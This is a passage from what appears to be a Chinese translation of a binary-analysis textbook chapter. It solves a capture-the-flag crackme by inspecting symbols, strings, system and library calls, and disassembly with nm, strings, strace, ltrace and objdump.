        4: 0000000000000000           0 FUNC      GLOBAL     DEFAULT      UND  _ZNSt7__cxx1112basic_stri@GL(2)
        5: 0000000000000000           0 FUNC      GLOBAL     DEFAULT      UND  malloc@GLIBC_2.2.5 (3)
        6: 0000000000000000           0 NOTYPE    WEAK       DEFAULT      UND  _ITM_deregisterTMCloneTab
        7: 0000000000000000           0 NOTYPE    WEAK       DEFAULT      UND  _ITM_registerTMCloneTable
        8: 0000000000000000           0 FUNC      WEAK       DEFAULT      UND  __cxa_finalize@GLIBC_2.2.5 (3)
        9: 0000000000000000           0 FUNC      GLOBAL     DEFAULT      UND  __stack_chk_fail@GLIBC_2.4 (4)
       10: 0000000000000000           0 FUNC      GLOBAL     DEFAULT      UND  _ZSt19__throw_logic_error@ (5)
       11: 0000000000000000           0 FUNC      GLOBAL     DEFAULT      UND  memcpy@GLIBC_2.14 (6)
➊     12: 0000000000000bc0          149 FUNC     GLOBAL     DEFAULT        12  _Z11rc4_encryptP11rc4_sta
➋     13: 0000000000000cb0          112 FUNC     GLOBAL     DEFAULT        12  _Z8rc4_initP11rc4_state_t
       14: 0000000000202060           0 NOTYPE    GLOBAL     DEFAULT        24  _end
       15: 0000000000202058           0 NOTYPE    GLOBAL     DEFAULT        23  _edata
➌     16: 0000000000000b40          119 FUNC     GLOBAL     DEFAULT        12  _Z11rc4_encryptP11rc4_sta
➍     17: 0000000000000c60            5 FUNC     GLOBAL     DEFAULT        12  _Z11rc4_decryptP11rc4_sta
       18: 0000000000202058            0 NOTYPE   GLOBAL     DEFAULT        24  __bss_start
       19: 00000000000008c0            0 FUNC     GLOBAL     DEFAULT         9  _init
➎     20: 0000000000000c70           59 FUNC     GLOBAL     DEFAULT        12  _Z11rc4_decryptP11rc4_sta
       21: 0000000000000d20            0 FUNC     GLOBAL     DEFAULT        13  _fini

如期望的那样,完整的库似乎已经被正确提取。尽管它被剥离了,但动态符号表确实显示了一些有趣的导出函数(➊到➎)。然而,函数名周围似乎有一些乱码,导致它们难以阅读。让我们看看是否可以解决这个问题。

5.5 使用 nm 解析符号

C++允许函数重载,这意味着可能有多个同名函数,只要它们具有不同的签名。对于链接器来说,这却是个问题,因为它对 C++一无所知。例如,如果有多个名为foo的函数,链接器不知道如何解决对foo的引用;它根本不知道使用哪个版本的foo。为了消除重复的名称,C++编译器会生成破坏的函数名。破坏的函数名本质上是原始函数名和函数参数的编码组合。这样,每个版本的函数都会有一个唯一的名称,链接器就能够轻松区分重载的函数。

对于二进制分析师来说,名称被“破坏”(mangled)的函数名是一种复杂的祝福。一方面,破坏后的函数名更难以阅读,正如你在readelf输出中看到的lib5ae9b7f.so(见清单 5-2)所示,它是用 C++编写的。另一方面,破坏后的函数名实际上通过揭示函数的预期参数提供了免费的类型信息,这在逆向工程二进制文件时非常有用。

幸运的是,破坏后的函数名带来的好处大于缺点,因为它们相对容易被还原。有几个标准工具可以用来还原破坏的函数名。其中最著名的工具之一是nm,它可以列出给定二进制文件、目标文件或共享对象的符号。当给定一个二进制文件时,nm默认尝试解析静态符号表。

$ nm lib5ae9b7f.so
nm: lib5ae9b7f.so: no symbols

不幸的是,正如这个例子所示,你不能在lib5ae9b7f.so上使用nm的默认配置,因为它已经被剥离。你必须显式地要求nm解析动态符号表,使用-D开关,如清单 5-3 所示。在这个清单中,"..."表示我已经截断了一行并将其继续到下一行(破坏的函数名可能非常长)。

清单 5-3:nm输出,lib5ae9b7f.so*

$ nm -D lib5ae9b7f.so
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
                 w _Jv_RegisterClasses
0000000000000c60 T _Z11rc4_decryptP11rc4_state_tPhi
0000000000000c70 T _Z11rc4_decryptP11rc4_state_tRNSt7__cxx1112basic_...
                 ...stringIcSt11char_traitsIcESaIcEEE
0000000000000b40 T _Z11rc4_encryptP11rc4_state_tPhi
0000000000000bc0 T _Z11rc4_encryptP11rc4_state_tRNSt7__cxx1112basic_...
                 ...stringIcSt11char_traitsIcESaIcEEE
0000000000000cb0 T _Z8rc4_initP11rc4_state_tPhi
                 U _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_...
                   ...M_createERmm
                 U _ZSt19__throw_logic_errorPKc
0000000000202058 B __bss_start
                 w __cxa_finalize
                 w __gmon_start__
                 U __stack_chk_fail
0000000000202058 D _edata
0000000000202060 B _end
0000000000000d20 T _fini
00000000000008c0 T _init
                 U malloc
                 U memcpy

这样看起来好多了,这次你看到了一些符号。但符号名称仍然是混淆的。要去混淆它们,你需要将 --demangle 选项传递给 nm,如 清单 5-4 所示。

清单 5-4: lib5ae9b7f.so 的 nm 输出(已去除混淆)

$ nm -D --demangle  lib5ae9b7f.so
                 w  _ITM_deregisterTMCloneTable
                 w  _ITM_registerTMCloneTable
                 w  _Jv_RegisterClasses
0000000000000c60 T  ➊rc4_decrypt(rc4_state_t*, unsigned char*, int)
0000000000000c70 T  ➋rc4_decrypt(rc4_state_t*,
                                 std::__cxx11::basic_string<char, std::char_traits<char>,
                                 std::allocator<char> >&)
0000000000000b40 T  ➌rc4_encrypt(rc4_state_t*, unsigned char*, int)
0000000000000bc0 T  ➍rc4_encrypt(rc4_state_t*,
                                 std::__cxx11::basic_string<char, std::char_traits<char>,
                                 std::allocator<char> >&)
0000000000000cb0 T  ➎rc4_init(rc4_state_t*, unsigned char*, int)
                 U  std::__cxx11::basic_string<char, std::char_traits<char>,
                        std::allocator<char> >::_M_create(unsigned long&, unsigned long)
                 U  std::__throw_logic_error(char const*)
0000000000202058 B  __bss_start
                 w  __cxa_finalize
                 w  __gmon_start__
                 U  __stack_chk_fail
0000000000202058 D  _edata
0000000000202060 B  _end
0000000000000d20 T  _fini
00000000000008c0 T  _init
                 U  malloc
                 U  memcpy

最终,函数名称变得易于阅读。你可以看到五个有趣的函数,它们似乎是实现了著名的 RC4 加密算法的加密函数。^(2) 有一个名为 rc4_init 的函数,它接受一个类型为 rc4_state_t 的数据结构作为输入,以及一个无符号字符字符串和一个整数 ➎。第一个参数可能是一个存储加密状态的数据结构,而接下来的两个参数分别可能是表示密钥的字符串和指定密钥长度的整数。你还可以看到几个加密和解密函数,每个函数都接受指向加密状态的指针,并且有参数指定要加密或解密的字符串(包括 C 和 C++ 字符串)(➊ 到 ➍)。

作为去混淆函数名称的另一种方法,你可以使用名为 c++filt 的专用工具,它接受混淆过的名称作为输入并输出去混淆后的等效名称。c++filt 的优势在于它支持多种混淆格式,并自动检测给定输入的正确混淆格式。以下是使用 c++filt 去混淆函数名称 _Z8rc4_initP11rc4_state_tPhi 的示例:

$ c++filt _Z8rc4_initP11rc4_state_tPhi
rc4_init(rc4_state_t*, unsigned char*, int)

现在,让我们简要回顾一下迄今为止的进展。你提取了神秘的有效负载,并找到了一个名为 ctf 的二进制文件,它依赖于一个名为 lib5ae9b7f.so 的文件。你找到了隐藏在位图文件中的 lib5ae9b7f.so 并成功提取出来。你也大致了解了它的功能:它是一个加密库。现在,让我们再次尝试运行 ctf,这次不再缺少任何依赖项。

当你运行一个二进制文件时,链接器通过搜索多个标准目录中的共享库来解析二进制文件的依赖项,例如 /lib。由于你将 lib5ae9b7f.so 提取到了一个非标准目录,你需要告诉链接器也去该目录搜索,通过设置一个名为 LD_LIBRARY_PATH 的环境变量。让我们将该变量设置为当前工作目录,然后再次尝试启动 ctf

$ export LD_LIBRARY_PATH=`pwd`
$ ./ctf
$ echo $?
1

成功了!ctf 二进制文件看起来仍然没有做任何有用的事情,但它能够运行,并且没有抱怨缺少任何库文件。ctf 的退出状态(保存在 $? 变量中)是 1,表示发生了错误。现在你已经拥有了所有必需的依赖项,可以继续调查并看看你是否能够让 ctf 克服错误,从而达到你要捕捉的标志。

5.6 使用 strings 寻找线索

为了弄清楚一个二进制文件的功能以及它期望的输入类型,你可以检查该二进制文件是否包含任何有助于揭示其目的的字符串。例如,如果你看到包含 HTTP 请求或 URL 的字符串,你可以安全地猜测该二进制文件正在执行与 Web 相关的操作。当你处理恶意软件(如 bot)时,如果这些字符串没有被混淆,你可能会找到包含 bot 接受的命令的字符串。你甚至可能会发现一些调试时留下的字符串,程序员忘记删除这些字符串,这种情况在实际的恶意软件中也曾发生过!

你可以使用一个名为strings的工具来检查 Linux 上二进制文件(或其他任何文件)中的字符串。strings工具接受一个或多个文件作为输入,然后打印出这些文件中找到的所有可打印字符字符串。请注意,strings并不会检查所找到的字符串是否真的被设计为可读的,所以当它用于二进制文件时,strings的输出可能会包含一些虚假的字符串,这些字符串可能是二进制序列偶然变得可打印的结果。

你可以使用选项来调整strings的行为。例如,你可以使用-d选项与strings一起使用,以仅打印出在二进制文件的数据部分中找到的字符串,而不是打印所有部分。默认情况下,strings只打印四个字符或更多的字符串,但你可以使用-n选项指定其他最小字符串长度。就我们的目的而言,默认选项就足够了;让我们看看你能在ctf二进制文件中使用strings找到什么,如列表 5-5 所示。

列表 5-5:在 ctf 二进制文件中找到的字符字符串

   $ strings ctf
➊ /lib64/ld-linux-x86-64.so.2
   lib5ae9b7f.so
➋ __gmon_start__
   _Jv_RegisterClasses
   _ITM_deregisterTMCloneTable
   _ITM_registerTMCloneTable
   _Z8rc4_initP11rc4_state_tPhi
    ...
➌ DEBUG: argv[1] = %s
➍ checking '%s'
➎ show_me_the_flag
   >CMb
   -v@P
   flag = %s
   guess again!
➏ It's kinda like Louisiana. Or Dagobah. Dagobah - Where Yoda lives!
   ;*3$"
   zPLR
   GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
➐ .shstrtab
   .interp
   .note.ABI-tag
   .note.gnu.build-id
   .gnu.hash
   .dynsym
   .dynstr
   .gnu.version
   .gnu.version_r
   .rela.dyn
   .rela.plt
   .init
   .plt.got
   .text
   .fini
   .rodata
   .eh_frame_hdr
   .eh_frame
   .gcc_except_table
   .init_array
   .fini_array
   .jcr
   .dynamic
   .got.plt
   .data
   .bss
   .comment

在这里,你可以看到一些在大多数 ELF 文件中都会遇到的字符串。例如,程序解释器的名称➊,可以在.interp部分找到,以及一些在.dynstr部分找到的符号名称➋。在strings的输出末尾,你可以看到所有在.shstrtab部分找到的节名称➐。但这些字符串在此并没有什么特别有趣的地方。

幸运的是,还有一些更有用的字符串。例如,似乎有一条调试信息,暗示程序期望一个命令行选项➌。还有一些检查,可能是针对输入字符串执行的检查➍。你现在还不知道命令行选项的值应该是什么,但你可以尝试一些其他看起来有趣的字符串,例如show_me_the_flag➎,它可能有效。还有一个神秘的字符串➏,它包含一条含义不明的消息。你现在不知道这条消息的意思,但你从对lib5ae9b7f.so的调查中知道,二进制文件使用了 RC4 加密。也许这条消息是用作加密密钥?

现在你知道了二进制文件期望一个命令行选项,让我们看看添加一个任意选项是否能让你更接近揭示旗标。为了没有更好的猜测,我们就简单地使用字符串foobar,如下所示:

$ ./ctf foobar
checking 'foobar'
$ echo $?
1

该二进制文件现在做了一些新事情。它告诉你它正在检查你给定的输入字符串。但检查并没有成功,因为检查后,二进制文件仍然以错误代码退出。我们来冒险尝试一下你找到的其他一些看起来有趣的字符串,比如 show_me_the_flag,它看起来很有潜力。

$ ./ctf show_me_the_flag
checking 'show_me_the_flag'
ok
$ echo $?
1

成功了!检查现在似乎已经成功。不幸的是,退出状态仍然是 1,所以肯定还有其他东西缺失。更糟糕的是,strings 的结果没有提供更多的线索。我们来更详细地查看 ctf 的行为,确定接下来该做什么,从 ctf 发出的系统和库调用开始。

5.7 使用 strace 和 ltrace 跟踪系统调用和库调用

为了取得进展,我们来调查一下 ctf 为什么会退出并返回错误代码,看看 ctf 在退出前的行为。你可以通过很多方式来做这件事,其中一种方法是使用两个工具,分别是 straceltrace。这些工具分别显示了二进制文件执行的系统调用和库调用。知道一个二进制文件所做的系统和库调用通常可以给你一个关于程序在做什么的高层次理解。

让我们首先使用 strace 来调查 ctf 的系统调用行为。在某些情况下,你可能希望将 strace 附加到一个正在运行的进程。为此,你需要使用 -p pid 选项,其中 pid 是你想附加的进程的进程 ID。然而,在这种情况下,从一开始就用 strace 运行 ctf 就足够了。列 5-6 显示了 ctf 二进制文件的 strace 输出(有些部分被“...”截断)。

列 5-6: ctf 二进制文件执行的系统调用

   $ strace ./ctf show_me_the_flag
➊ execve("./ctf", ["./ctf", "show_me_the_flag"], [/* 73 vars */]) = 0
   brk(NULL)                               = 0x1053000
   access("/etc/ld.so.nohwcap", F_OK)            = -1 ENOENT (No such file or directory)
   mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f703477e000
   access("/etc/ld.so.preload", R_OK)              = -1 ENOENT (No such file or directory)
➋ open("/ch3/tls/x86_64/lib5ae9b7f.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or ...)
   stat("/ch3/tls/x86_64", 0x7ffcc6987ab0) = -1 ENOENT (No such file or directory)
   open("/ch3/tls/lib5ae9b7f.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
   stat("/ch3/tls", 0x7ffcc6987ab0) = -1 ENOENT (No such file or directory)
   open("/ch3/x86_64/lib5ae9b7f.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
   stat("/ch3/x86_64", 0x7ffcc6987ab0) = -1 ENOENT (No such file or directory)
   open("/ch3/lib5ae9b7f.so", O_RDONLY|O_CLOEXEC) = 3
➌ read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0p\t\0\0\0\0\0\0"..., 832) = 832
   fstat(3, st_mode=S_IFREG|0775, st_size=10296, ...) = 0
   mmap(NULL, 2105440, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f7034358000
   mprotect(0x7f7034359000, 2097152, PROT_NONE) = 0
   mmap(0x7f7034559000, 8192, PROT_READ|PROT_WRITE, ..., 3, 0x1000) = 0x7f7034559000
   close(3)                                = 0
   open("/ch3/libstdc++.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
   open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
   fstat(3, st_mode=S_IFREG|0644, st_size=150611, ...) = 0
   mmap(NULL, 150611, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f7034759000
   close(3)                                = 0
   access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
➍ open("/usr/lib/x86_64-linux-gnu/libstdc++.so.6", O_RDONLY|O_CLOEXEC) = 3
   read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0 \235\10\0\0\0\0\0"..., 832) = 832
   fstat(3, st_mode=S_IFREG|0644, st_size=1566440, ...) = 0
   mmap(NULL, 3675136, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f7033fd6000
   mprotect(0x7f7034148000, 2097152, PROT_NONE) = 0
   mmap(0x7f7034348000, 49152, PROT_READ|PROT_WRITE, ..., 3, 0x172000) = 0x7f7034348000
   mmap(0x7f7034354000, 13312, PROT_READ|PROT_WRITE, ..., -1, 0) = 0x7f7034354000
   close(3)                                = 0
   open("/ch3/libgcc_s.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
   access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
   open("/lib/x86_64-linux-gnu/libgcc_s.so.1", O_RDONLY|O_CLOEXEC) = 3
   read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0p*\0\0\0\0\0\0"..., 832) = 832
   fstat(3, st_mode=S_IFREG|0644, st_size=89696, ...) = 0
   mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7034758000
   mmap(NULL, 2185488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f7033dc0000
   mprotect(0x7f7033dd6000, 2093056, PROT_NONE) = 0
   mmap(0x7f7033fd5000, 4096, PROT_READ|PROT_WRITE, ..., 3, 0x15000) = 0x7f7033fd5000
   close(3)                                = 0
   open("/ch3/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
   access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
   open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
   read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\t\2\0\0\0\0\0"..., 832) = 832
   fstat(3, st_mode=S_IFREG|0755, st_size=1864888, ...) = 0
   mmap(NULL, 3967392, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f70339f7000
   mprotect(0x7f7033bb6000, 2097152, PROT_NONE) = 0
   mmap(0x7f7033db6000, 24576, PROT_READ|PROT_WRITE, ..., 3, 0x1bf000) = 0x7f7033db6000
   mmap(0x7f7033dbc000, 14752, PROT_READ|PROT_WRITE, ..., -1, 0) = 0x7f7033dbc000
   close(3)                                = 0
   open("/ch3/libm.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
   access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
   open("/lib/x86_64-linux-gnu/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
   read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0V\0\0\0\0\0\0"..., 832) = 832
   fstat(3, st_mode=S_IFREG|0644, st_size=1088952, ...) = 0
   mmap(NULL, 3178744, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f70336ee000
   mprotect(0x7f70337f6000, 2093056, PROT_NONE) = 0
   mmap(0x7f70339f5000, 8192, PROT_READ|PROT_WRITE, ..., 3, 0x107000) = 0x7f70339f5000
   close(3)                                = 0
   mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7034757000
   mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7034756000
   mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7034754000
   arch_prctl(ARCH_SET_FS, 0x7f7034754740) = 0
   mprotect(0x7f7033db6000, 16384, PROT_READ) = 0
   mprotect(0x7f70339f5000, 4096, PROT_READ) = 0
   mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7034753000
   mprotect(0x7f7034348000, 40960, PROT_READ) = 0
   mprotect(0x7f7034559000, 4096, PROT_READ) = 0
   mprotect(0x601000, 4096, PROT_READ)     = 0
   mprotect(0x7f7034780000, 4096, PROT_READ) = 0
   munmap(0x7f7034759000, 150611)          = 0
   brk(NULL)                               = 0x1053000
   brk(0x1085000)                          = 0x1085000
   fstat(1, st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...) = 0
➎ write(1, "checking 'show_me_the_flag'\n", 28checking 'show_me_the_flag'
   ) = 28
➏ write(1, "ok\n", 3ok
   ) = 3
➐ exit_group(1) = ?
   +++ exited with 1 +++

当从程序开始追踪时,strace 包含了程序解释器用来设置进程的所有系统调用,这使得输出非常冗长。输出中的第一个系统调用是 execve,它是由你的 shell 调用来启动程序 ➊。之后,程序解释器接管并开始设置执行环境。这涉及到设置内存区域并使用 mprotect 设置正确的内存访问权限。此外,你还可以看到用于查找和加载所需动态库的系统调用。

回想一下,在第 5.5 节中,你设置了 LD_LIBRARY_PATH 环境变量,以告诉动态链接器将当前工作目录添加到其搜索路径中。这就是为什么你可以看到动态链接器在当前工作目录中的多个标准子文件夹中搜索 lib5ae9b7f.so 库,直到它最终在工作目录的根目录中找到该库 ➋。当找到库时,动态链接器读取它并将其映射到内存中 ➌。对于其他所需的库,如 libstdc++.so.6 ➍,会重复此设置过程,这也占据了 strace 输出的绝大多数内容。

直到最后三个系统调用,你才看到特定应用程序的行为。ctf 使用的第一个系统调用是 write,它用于打印 checking 'show_me_the_flag' 到屏幕 ➎。接着,你看到另一个 write 调用,打印字符串 ok ➏,最后是调用 exit_group,导致程序以状态码 1 退出 ➐。

这些都很有趣,但它们怎么帮助你找出如何从 ctf 中提取标志呢?答案是:它们没有帮助!在这个案例中,strace 并没有揭示任何有用的信息,但我仍然想给你展示它是如何工作的,因为它可以帮助理解程序的行为。例如,观察程序执行的系统调用,不仅对二进制分析有帮助,也对调试有用。

查看 ctf 的系统调用行为没有太大帮助,因此我们来尝试一下库调用。要查看 ctf 执行的库调用,可以使用 ltrace。因为 ltracestrace 很相似,所以它支持许多相同的命令行选项,包括 -p 用于附加到现有进程。这里,我们使用 -i 选项,在每个库调用时打印指令指针(稍后会用到)。我们还将使用 -C 自动解混淆 C++ 函数名。让我们从头开始运行 ctf,并使用 ltrace,如 Listing 5-7 所示。

Listing 5-7: ctf 二进制文件的库调用

   $ ltrace -i -C ./ctf show_me_the_flag
➊ [0x400fe9] __libc_start_main (0x400bc0, 2, 0x7ffc22f441e8, 0x4010c0 <unfinished ...>
➋ [0x400c44] __printf_chk (1, 0x401158, 0x7ffc22f4447f, 160checking 'show_me_the_flag') = 28
➌ [0x400c51] strcmp ("show_me_the_flag", "show_me_the_flag") = 0
➍ [0x400cf0] puts ("ok"ok) = 3
➎ [0x400d07] rc4_init (rc4_state_t*, unsigned char*, int)
               (0x7ffc22f43fb0, 0x4011c0, 66, 0x7fe979b0d6e0) = 0
➏ [0x400d14] std::__cxx11::basic_string<char, std::char_traits<char>,
               std::allocator<char> >:: assign (char const*)
               (0x7ffc22f43ef0, 0x40117b, 58, 3) = 0x7ffc22f43ef0
➐ [0x400d29] rc4_decrypt (rc4_state_t*, std::__cxx11::basic_string<char,
               std::char_traits<char>, std::allocator<char> >&)
               (0x7ffc22f43f50, 0x7ffc22f43fb0, 0x7ffc22f43ef0, 0x7e889f91) = 0x7ffc22f43f50
➑ [0x400d36] std::__cxx11::basic_string<char, std::char_traits<char>,
               std::allocator<char> >:: _M_assign (std::__cxx11::basic_string<char,
               std::char_traits<char>, std::allocator<char> > const&)
               (0x7ffc22f43ef0, 0x7ffc22f43f50, 0x7ffc22f43f60, 0) = 0
➒ [0x400d53] getenv ("GUESSME") = nil
   [0xffffffffffffffff] +++ exited (status 1) +++

如你所见,ltrace 的输出比 strace 更加易读,因为它没有被所有的进程设置代码污染。第一个库调用是 __libc_start_main ➊,它从 _start 函数中调用,用于将控制权转移到程序的 main 函数。一旦 main 开始执行,它的第一个库调用打印出现在熟悉的 checking ... 字符串到屏幕 ➋。实际的检查是一个字符串比较,使用 strcmp 实现,验证传给 ctf 的参数是否等于 show_me_the_flag ➌。如果是这样,ok 会被打印到屏幕上 ➍。

到目前为止,这些大多是你之前见过的行为。但现在你看到了一些新内容:RC4 加密算法通过调用 rc4_init 初始化,该函数位于你之前提取的库中 ➎。之后,你看到一个 assign 操作给一个 C++ 字符串赋值,假设它用加密消息进行了初始化 ➏。然后,使用 rc4_decrypt 调用解密该消息 ➐,并将解密后的消息赋值给一个新的 C++ 字符串 ➑。

最后,调用了 getenv,这是一个标准库函数,用于查找环境变量 ➒。你可以看到 ctf 期望有一个名为 GUESSME 的环境变量!这个变量的名字很可能就是之前解密出来的字符串。让我们看看当你为 GUESSME 环境变量设置一个虚拟值时,ctf 的行为是否会发生变化,如下所示:

$ GUESSME='foobar' ./ctf show_me_the_flag
checking 'show_me_the_flag'
ok
guess again!

设置GUESSME会导致输出一行额外的信息,显示guess again!。看起来ctf期望GUESSME被设置为另一个特定值。也许再执行一次ltrace,如列表 5-8 所示,将揭示出期望的值是什么。

列表 5-8: ctf 二进制文件在设置 GUESSME 环境变量后的库函数调用

   $ GUESSME='foobar' ltrace -i -C ./ctf show_me_the_flag
   ...
   [0x400d53] getenv ("GUESSME") = "foobar"
➊ [0x400d6e] std::__cxx11::basic_string<char, std::char_traits<char>,
                std::allocator<char> >:: assign (char const*)
                (0x7fffc7af2b00, 0x401183, 5, 3) = 0x7fffc7af2b00
➋ [0x400d88] rc4_decrypt (rc4_state_t*, std::__cxx11::basic_string<char,
                std::char_traits<char>, std::allocator<char> >&)
                (0x7fffc7af2b60, 0x7fffc7af2ba0, 0x7fffc7af2b00, 0x401183) = 0x7fffc7af2b60
   [0x400d9a] std::__cxx11::basic_string<char, std::char_traits<char>,
                std::allocator<char> >:: _M_assign (std::__cxx11::basic_string<char,
                std::char_traits<char>, std::allocator<char> > const&)
                (0x7fffc7af2b00, 0x7fffc7af2b60, 0x7700a0, 0) = 0
   [0x400db4] operator delete (void*)(0x7700a0, 0x7700a0, 21, 0) = 0
➌ [0x400dd7] puts ("guess again!"guess again!) = 13
   [0x400c8d] operator delete (void*)(0x770050, 0x76fc20, 0x7f70f99b3780, 0x7f70f96e46e0) = 0
   [0xffffffffffffffff] +++ exited (status 1) +++

在调用getenv之后,ctf继续执行分配 ➊ 并解密 ➋ 另一个 C++字符串。不幸的是,在解密和guess again被打印到屏幕 ➌ 之间,你并没有看到任何关于GUESSME期望值的线索。这告诉你,GUESSME与其期望值的比较是没有使用任何库函数来实现的。你需要采取另一种方法。

5.8 使用 objdump 检查指令级行为

由于你知道GUESSME环境变量的值是在没有使用任何知名库函数的情况下进行检查的,接下来的合乎逻辑的步骤是使用objdump检查ctf的指令级别,看看发生了什么。^(3)

从列表 5-8 中的ltrace输出,你知道guess again字符串是通过在地址0x400dd7调用puts打印到屏幕上的。让我们集中在这个地址周围进行objdump调查。知道字符串的地址也会有所帮助,这样可以找到加载它的第一条指令。要找到这个地址,你可以使用objdump -s查看ctf二进制文件的.rodata部分,正如列表 5-9 所示。

列表 5-9: ctf .rodata 部分内容,使用 objdump 显示

$ objdump -s --section .rodata ctf

ctf:      file format elf64-x86-64

Contents of section .rodata:
 401140  01000200  44454255  473a2061  7267765b    ....DEBUG: argv[
 401150  315d203d  20257300  63686563  6b696e67    1] = %s.checking
 401160  20272573  270a0073  686f775f  6d655f74     '%s'..show_me_t
 401170  68655f66  6c616700  6f6b004f  89df919f    he_flag.ok.O....
 401180  887e009a  5b38babe  27ac0e3e  434d6285    .~..8..'..>CMb.
 401190  55868954  3848a34d  00192d76  40505e3a    U..T8H.M..-v@P^:
 4011a0  00726200  666c6167  203d2025  730a00➊67   .rb.flag = %s..g
 4011b0  75657373  20616761  696e2100  00000000    uess again!.....
 4011c0  49742773  206b696e  6461206c  696b6520    It's kinda like
 4011d0  4c6f7569  7369616e  612e204f  72204461    Louisiana. Or Da
 4011e0  676f6261  682e2044  61676f62  6168202d    gobah. Dagobah -
 4011f0  20576865  72652059  6f646120  6c697665    Where Yoda live
 401200  73210000  00000000                       s!......

使用objdump检查ctf.rodata部分时,你可以看到guess again字符串位于地址0x4011af ➊。现在让我们来看一下[列表 5-10,它展示了puts调用附近的指令,以找出ctf期望的GUESSME环境变量输入是什么。

列表 5-10:检查 GUESSME 值的指令

   $ objdump   -d ctf
   ...
➊   400dc0: 0f b6 14 03         movzx      edx,BYTE PTR [rbx+rax*1]
     400dc4: 84 d2               test       dl,dl
➋   400dc6: 74 05               je         400dcd <_Unwind_Resume@plt+0x22d>
➌   400dc8: 3a 14 01            cmp        dl,BYTE PTR [rcx+rax*1]
     400dcb: 74 13               je         400de0 <_Unwind_Resume@plt+0x240>
➍   400dcd: bf af 11 40 00      mov        edi,0x4011af
➎   400dd2: e8 d9 fc ff ff      call       400ab0 <puts@plt>
     400dd7: e9 84 fe ff ff      jmp        400c60 <_Unwind_Resume@plt+0xc0>
     400ddc: 0f 1f 40 00         nop        DWORD PTR [rax+0x0]
➏   400de0: 48 83 c0 01         add        rax,0x1
➐   400de4: 48 83 f8 15         cmp        rax,0x15
➑   400de8: 75 d6               jne        400dc0 <_Unwind_Resume@plt+0x220>
    ...

guess again字符串是通过地址0x400dcd ➍的指令加载的,然后使用puts ➎打印出来。这是失败的情况;让我们从这里开始倒推。

失败案例是从一个起始地址为0x400dc0的循环中达到的。在每次循环迭代中,它从一个数组(可能是字符串)中加载一个字节到edx寄存器 ➊。rbx寄存器指向该数组的起始位置,而rax则用于索引数组。如果加载的字节是NULL,那么位于0x400dc6je指令将跳转到失败案例 ➋。这个与NULL的比较是为了检查字符串的结尾。如果这里到达了字符串的结尾,那么它就太短,无法匹配。如果字节不是NULL,则je指令将跳过,进入下一条指令,位于地址0x400dc8,该指令将edx中的字节与另一个字符串中的字节进行比较,这个字符串基于rcx并由rax进行索引 ➌。

如果这两个比较的字节匹配,程序将跳转到地址0x400de0,在这里它增加字符串索引➏,并检查字符串索引是否等于0x15,即字符串的长度➐。如果相等,字符串比较完成;如果不相等,程序将跳转到循环的另一次迭代➑。

从这次分析中,你现在知道基于rcx寄存器的字符串被用作基准真值。程序将从GUESSME变量中获取的环境字符串与这个基准真值进行比较。这意味着,如果你能够转储这个基准真值字符串,就能找到GUESSME的预期值!因为字符串是在运行时解密的,静态时不可用,你需要使用动态分析来恢复它,而不是使用objdump

5.9 使用 gdb 转储动态字符串缓冲区

在 GNU/Linux 上,最常用的动态分析工具可能是gdb,即 GNU 调试器。顾名思义,gdb主要用于调试,但它也可以用于各种动态分析目的。实际上,它是一个功能非常强大的工具,在这一章中无法覆盖它的所有功能。不过,我将介绍一些最常用的gdb功能,帮助你恢复GUESSME的预期值。查找gdb信息的最佳地点不是手册页,而是www.gnu.org/software/gdb/documentation/,在那里你可以找到一份详尽的手册,涵盖了所有支持的gdb命令。

